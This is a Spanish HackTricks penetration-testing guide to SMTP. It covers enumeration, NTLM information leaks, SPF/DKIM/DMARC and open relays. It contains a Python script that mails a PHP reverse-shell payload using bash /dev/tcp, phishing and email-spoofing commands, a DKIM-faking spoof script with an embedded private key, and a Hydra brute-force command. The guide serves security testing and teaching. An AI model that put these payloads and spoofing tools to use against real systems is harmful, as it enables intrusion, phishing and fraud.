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hacktricks/network-services-pentesting/pentesting-smtp
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Translator d05f532ef9 Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e
2023-06-10 23:57:42 +00:00
..
README.md Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-10 23:57:42 +00:00
smtp-commands.md Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-10 23:57:42 +00:00

README.md

25,465,587 - Pentesting SMTP/s

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DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
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Información básica

SMTP (Simple Mail Transfer Protocol) es un protocolo TCP/IP utilizado para enviar y recibir correo electrónico. Sin embargo, dado que está limitado en su capacidad para encolar mensajes en el extremo receptor, generalmente se utiliza con uno de los otros dos protocolos, POP3 o IMAP, que permiten al usuario guardar mensajes en un buzón de correo del servidor y descargarlos periódicamente desde el servidor.

En otras palabras, los usuarios suelen utilizar un programa que utiliza SMTP para enviar correo electrónico y ya sea POP3 o IMAP para recibir correo electrónico. En sistemas basados en Unix, sendmail es el servidor SMTP más utilizado para el correo electrónico. Un paquete comercial, Sendmail, incluye un servidor POP3. Microsoft Exchange incluye un servidor SMTP y también se puede configurar para incluir soporte POP3.
Desde aquí.

Puerto predeterminado: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Encabezados de correo electrónico

Si tienes la oportunidad de hacer que la víctima te envíe un correo electrónico (a través del formulario de contacto de la página web, por ejemplo), hazlo porque podrías aprender sobre la topología interna de la víctima viendo los encabezados del correo.

También puedes obtener un correo electrónico de un servidor SMTP intentando enviar a ese servidor un correo electrónico a una dirección que no existe (porque el servidor enviará al atacante un correo electrónico NDN). Pero asegúrate de que envías el correo electrónico desde una dirección permitida (verifica la política SPF) y de que puedes recibir mensajes NDN.

También debes intentar enviar diferentes contenidos porque puedes encontrar información más interesante en los encabezados como: X-Virus-Scanned: by av.domain.com
Debes enviar el archivo de prueba EICAR.
Detectar el AV puede permitirte explotar vulnerabilidades conocidas.

Acciones básicas

Banner Grabbing/Conexión básica

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPS es una versión segura de SMTP que utiliza SSL/TLS para cifrar la conexión entre el cliente y el servidor. El puerto utilizado para SMTPS es el 465. Al igual que con SMTP, se pueden realizar pruebas de penetración en SMTPS para identificar vulnerabilidades en el servidor de correo electrónico y en la configuración del cliente.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrar servidores MX de una organización

dig +short mx google.com

Enumeración

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgación de información

Si el servidor admite la autenticación NTLM (Windows), se pueden obtener información sensible (versiones). Más información aquí.

root@kali: telnet example.com 587 
220 example.com SMTP Server Banner 
>> HELO 
250 example.com Hello [x.x.x.x] 
>> AUTH NTLM 334 
NTLM supported 
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

O automatizar esto con el plugin de nmap smtp-ntlm-info.nse

Nombre del servidor interno - Divulgación de información

Algunos servidores SMTP autocompletan la dirección del remitente cuando se emite el comando "MAIL FROM" sin una dirección completa, lo que revela su nombre interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200 
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifique si puede capturar alguna contraseña de los paquetes al puerto 25.

Fuerza bruta de autenticación

Enumeración de fuerza bruta de nombre de usuario

La autenticación no siempre es necesaria

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY es un comando SMTP que se utiliza para verificar si una dirección de correo electrónico es válida y si pertenece a un usuario específico en el servidor de correo. Este comando se utiliza a menudo por los atacantes para recopilar información sobre los usuarios de correo electrónico en un servidor. Si el servidor responde con un mensaje de error, significa que la dirección de correo electrónico no es válida. Si el servidor responde con un mensaje de éxito, significa que la dirección de correo electrónico es válida y que pertenece a un usuario específico en el servidor. Los atacantes pueden utilizar esta información para realizar ataques de ingeniería social o para enviar correos electrónicos de phishing a los usuarios del servidor.

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

La orden EXPN se utiliza para verificar si una dirección de correo electrónico es válida y obtener información sobre el destinatario. Esta orden se utiliza a menudo por los spammers para recopilar información sobre los usuarios de correo electrónico. Si el servidor SMTP está configurado para permitir la orden EXPN, un atacante puede utilizarla para obtener una lista de direcciones de correo electrónico válidas en el servidor. Por lo tanto, es importante deshabilitar la orden EXPN en el servidor SMTP para evitar la fuga de información.

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

Herramientas automáticas

Automatic tools can be used to enumerate usernames on SMTP servers. These tools typically work by connecting to the SMTP server and issuing VRFY or EXPN commands for a list of usernames. The server will respond with either a success message indicating that the user exists or a failure message indicating that the user does not exist.

Las herramientas automáticas se pueden utilizar para enumerar nombres de usuario en servidores SMTP. Estas herramientas suelen funcionar conectándose al servidor SMTP y emitiendo comandos VRFY o EXPN para una lista de nombres de usuario. El servidor responderá con un mensaje de éxito indicando que el usuario existe o un mensaje de error indicando que el usuario no existe.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década de existencia que se llevará a cabo los días 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento técnico de gran contenido donde se presentan las últimas investigaciones en español y atrae a hackers e investigadores de todo el mundo.
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Informes DSN

Informes de notificación de estado de entrega: Si envías un correo electrónico a una organización a una dirección no válida, la organización notificará que la dirección es inválida enviando un correo electrónico de vuelta a ti. Los encabezados del correo electrónico devuelto contendrán información sensible posible (como la dirección IP de los servicios de correo que interactuaron con los informes o información del software antivirus).

Comandos

Enviar un correo electrónico desde la consola de Linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviando un correo electrónico con Python

Aquí hay una forma alternativa de enviar un correo electrónico con un script de Python.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = "" 
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload 
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
    print("[-]Connection Error")
    exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Suplantación de correo electrónico

La mayoría de esta sección fue extraída del libro Network Security Assessment 3rd Edition.

Los mensajes SMTP son fácilmente suplantados, por lo que las organizaciones utilizan las características de SPF, DKIM y DMARC para evitar que las partes envíen correos electrónicos no autorizados.

Una guía completa de estas contramedidas se puede encontrar en https://seanthegeek.net/459/demystifying-dmarc/

SPF

{% hint style="danger" %} SPF fue "depreciado" en 2014. Esto significa que en lugar de crear un registro TXT en _spf.domain.com, se crea en domain.com utilizando la misma sintaxis.
Además, para reutilizar registros SPF anteriores, es común encontrar algo como "v=spf1 include:_spf.google.com ~all" {% endhint %}

El Marco de Política del Remitente (SPF) proporciona un mecanismo que permite a los MTAs verificar si un host que envía un correo electrónico está autorizado.
Luego, las organizaciones pueden definir una lista de servidores de correo autorizados y los MTAs pueden consultar estas listas para verificar si el correo electrónico fue suplantado o no.
Para definir direcciones IP/rangos, dominios y otros que están autorizados para enviar correo electrónico en nombre de un nombre de dominio, diferentes "Mecanismos" pueden aparecer en el registro SPF.

Mecanismos

Mecanismo Descripción
ALL Coincide siempre; se utiliza para un resultado predeterminado como -all para todas las IPs que no coinciden con los mecanismos anteriores.
A Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá.
IP4 Si el remitente está en un rango de direcciones IPv4 determinado, coincide.
IP6 Si el remitente está en un rango de direcciones IPv6 determinado, coincide.
MX Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrantes del dominio).
PTR Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve en la dirección del cliente (DNS inversa confirmada hacia adelante), coincide. Se desaconseja este mecanismo y se debe evitar, si es posible.
EXISTS Si el nombre de dominio dado se resuelve en cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje macro SPF, ofrece coincidencias más complejas como consultas DNSBL.
INCLUDE Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente en la política de otro dominio, se debe utilizar la extensión de redireccionamiento.
REDIRECT

Una redirección es un puntero a otro nombre de dominio que aloja una política SPF, permite que varios dominios compartan la misma política SPF. Es útil cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.

Se utilizará la política SPF del dominio indicado en el mecanismo de redireccionamiento.

También es posible identificar Calificadores que indican qué se debe hacer si se cumple un mecanismo. Por defecto, se utiliza el calificador "+" (por lo que si se cumple cualquier mecanismo, eso significa que está permitido).
Por lo general, se nota al final de cada política SPF algo como: ~all o -all. Esto se utiliza para indicar que si el remitente no coincide con ninguna política SPF, debe etiquetar el correo electrónico como no confiable (~) o rechazar (-) el correo electrónico.

Calificadores

Cada mecanismo se puede combinar con uno de cuatro calificadores:

  • + para un resultado de APROBADO. Esto se puede omitir; por ejemplo, +mx es lo mismo que mx.
  • ? para un resultado NEUTRAL interpretado como NINGUNO (sin política).
  • ~ (tilde) para SOFTFAIL, una ayuda de depuración entre NEUTRAL y FAIL. Por lo general, se aceptan los mensajes que devuelven un SOFTFAIL pero se etiquetan.
  • - (menos) para FAIL, el correo debe ser rechazado (ver más abajo).

En el siguiente ejemplo se puede leer la política SPF de google.com. Observe cómo la primera política SPF incluye políticas SPF de otros dominios:

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalmente era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera uno. Hoy en día, si un correo electrónico proviene de un dominio sin un registro SPF válido, probablemente será rechazado/marcado como no confiable automáticamente.

Para verificar el SPF de un dominio, puede utilizar herramientas en línea como: https://www.kitterman.com/spf/validate.html

DKIM

DomainKeys Identified Mail (DKIM) es un mecanismo mediante el cual el correo electrónico saliente se firma y se valida por los MTA extranjeros al recuperar la clave pública de un dominio a través de DNS. La clave pública DKIM se encuentra dentro de un registro TXT para un dominio; sin embargo, debe conocer tanto el selector como el nombre de dominio para recuperarlo.

Luego, para solicitar la clave, necesita el nombre de dominio y el selector del correo electrónico del encabezado del correo electrónico DKIM-Signature, por ejemplo: d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) es un método de autenticación de correo electrónico que amplía SPF y DKIM. Las políticas instruyen a los servidores de correo electrónico cómo procesar el correo electrónico para un dominio determinado e informar sobre las acciones realizadas.

Para obtener el registro DMARC, es necesario consultar el subdominio _dmarc

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\; 
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\; 
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

PayPal y Yahoo instruyen a los servidores de correo para rechazar mensajes que contengan firmas DKIM inválidas o que no provengan de sus redes. Luego se envían notificaciones a las respectivas direcciones de correo electrónico dentro de cada organización. Google está configurado de manera similar, aunque instruye a los servidores de correo para poner en cuarentena los mensajes y no rechazarlos directamente.

Etiquetas DMARC

Nombre de etiqueta Propósito Ejemplo
v Versión del protocolo v=DMARC1
pct Porcentaje de mensajes sujetos a filtrado pct=20
ruf URI de informes forenses ruf=mailto:authfail@example.com
rua URI de informes agregados rua=mailto:aggrep@example.com
p Política para el dominio organizacional p=quarantine
sp Política para subdominios del OD sp=reject
adkim Modo de alineación para DKIM adkim=s
aspf Modo de alineación para SPF aspf=r

¿Qué pasa con los subdominios?

De aquí.
Necesitas tener registros SPF separados para cada subdominio desde el que desees enviar correo.
Lo siguiente se publicó originalmente en openspf.org, que solía ser un gran recurso para este tipo de cosas.

La pregunta del demonio: ¿Qué pasa con los subdominios?

Si recibo correo de pielovers.demon.co.uk y no hay datos SPF para pielovers, ¿debería volver un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplicara a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.

Entonces, el consejo para los editores de SPF es el siguiente: debe agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.

Los sitios con registros A o MX comodín también deben tener un registro SPF comodín, de la forma: * IN TXT "v=spf1 -all"

Esto tiene sentido: un subdominio puede estar en una ubicación geográfica diferente y tener una definición SPF muy diferente.

Relevo abierto

Para evitar que los correos electrónicos enviados sean filtrados por los filtros de spam y no lleguen al destinatario, el remitente puede usar un servidor de retransmisión en el que el destinatario confíe. A menudo, los administradores no han supervisado qué rangos de IP tienen que permitir. Esto resulta en una mala configuración del servidor SMTP que aún encontramos a menudo en pruebas de penetración externas e internas. Por lo tanto, permiten todas las direcciones IP para no causar errores en el tráfico de correo electrónico y así no interrumpir o interrumpir involuntariamente la comunicación con clientes potenciales y actuales.

mynetworks = 0.0.0.0/0

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Herramientas

Enviar correo electrónico falso

O puedes usar una herramienta:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Si obtiene algún error al usar la librería de Python dkim al analizar la clave, siéntase libre de usar la siguiente.
NOTA: Esto es solo una solución rápida para hacer comprobaciones rápidas en casos en los que, por alguna razón, la clave privada de openssl no puede ser analizada por dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% tabs %} {% tab title="PHP" %}

# Esto enviará un mensaje no firmado
mail("tu_correo@gmail.com", "¡Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrador@victima.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
	<body>
		<h3>This is a test, not a scam</h3>
		<br />
	</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
    dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Más información

Encuentra más información sobre estas protecciones en https://seanthegeek.net/459/demystifying-dmarc/

Otros indicadores de phishing

  • Edad del dominio
  • Enlaces que apuntan a direcciones IP
  • Técnicas de manipulación de enlaces
  • Adjuntos sospechosos (poco comunes)
  • Contenido de correo electrónico roto
  • Valores utilizados que son diferentes a los de las cabeceras de correo
  • Existencia de un certificado SSL válido y confiable
  • Presentación de la página a sitios de filtrado de contenido web

Extracción a través de SMTP

Si puedes enviar datos a través de SMTP lee esto.

Archivo de configuración

Postfix

Por lo general, si está instalado, en /etc/postfix/master.cf contiene scripts para ejecutar cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering se ejecutará si un nuevo correo es recibido por el usuario mark.

Otros archivos de configuración:

sendmail.cf
submit.cf

Comandos Automáticos de HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMTP
  Note: |
    SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

    https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
  Name: Banner Grab
  Description: Grab SMTP Banner
  Command: nc -vn {IP} 25

Entry_3:
  Name: SMTP Vuln Scan
  Description: SMTP Vuln Scan With Nmap
  Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
  Name: SMTP User Enum
  Description: Enumerate uses with smtp-user-enum
  Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
  Name: SMTPS Connect
  Description: Attempt to connect to SMTPS two different ways
  Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
  Name: Find MX Servers
  Description: Find MX servers of an organization
  Command: dig +short mx {Domain_Name}

Entry_7:
  Name: Hydra Brute Force
  Description: Need Nothing
  Command: hydra -P {Big_Passwordlist} {IP} smtp -V
  
Entry_8:
  Name: consolesless mfs enumeration
  Description: SMTP enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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